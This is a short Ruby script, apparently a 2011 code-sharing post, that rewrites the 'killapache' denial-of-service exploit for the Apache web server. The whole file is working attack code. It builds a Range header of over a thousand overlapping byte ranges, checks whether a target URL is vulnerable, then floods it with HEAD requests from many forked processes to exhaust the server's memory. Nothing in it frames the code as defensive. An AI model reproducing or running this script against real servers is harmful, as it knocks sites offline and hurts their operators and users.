Created
November 30, 2011 23:43
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Just a try to rewrite killapache.pl
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#!/usr/bin/env ruby | |
require 'rubygems' | |
require 'net/http' | |
require 'forkmanager' | |
def usage | |
puts "Apache Remote Denial of Service (memory exhaustion)\nusage: ruby killapache.rb <url> [numforks]\nexample: ruby killapache.rb http://www.example.com/images/photo.jpg 50\n" | |
end | |
def handle_errors | |
begin | |
yield | |
rescue Errno::ECONNRESET | |
puts "Error: Connection reset by peer" | |
rescue Timeout::Error | |
puts "Error: Connection timeout" | |
rescue Errno::ECONNREFUSED | |
puts "Error: Connection refused" | |
end | |
end | |
def killapache | |
puts "Sending HEAD requests to #{@url.host} using #{@numforks} forks...\n" | |
@pm = Parallel::ForkManager.new(@numforks) | |
0.upto(@numforks) do |n| | |
@pm.start do | |
handle_errors { @http.head(@url.path, @headers) } | |
end | |
end | |
@pm.wait_all_children | |
puts "Sent.\n" | |
end | |
def testapache | |
handle_errors do | |
response = @http.head(@url.path, @headers) | |
response.class.to_s =~ /Partial/ ? true : false | |
end | |
end | |
if ARGV.empty? | |
usage | |
exit | |
else | |
@url, @numforks = ARGV | |
@url = URI.parse(@url) | |
@numforks = (@numforks || 50).to_i | |
@headers = { 'Range' => "bytes=0-" + (0..1300).map { |k| ",5-#{k}" }.join, 'Accept-Encoding' => 'gzip' } | |
@http = Net::HTTP.new(@url.host, @url.port) | |
@http.open_timeout = @http.read_timeout = 15 | |
puts testapache ? "This host is ready to recieve.\n" : "This host is protected.\n" | |
exit unless testapache | |
killapache | |
end |
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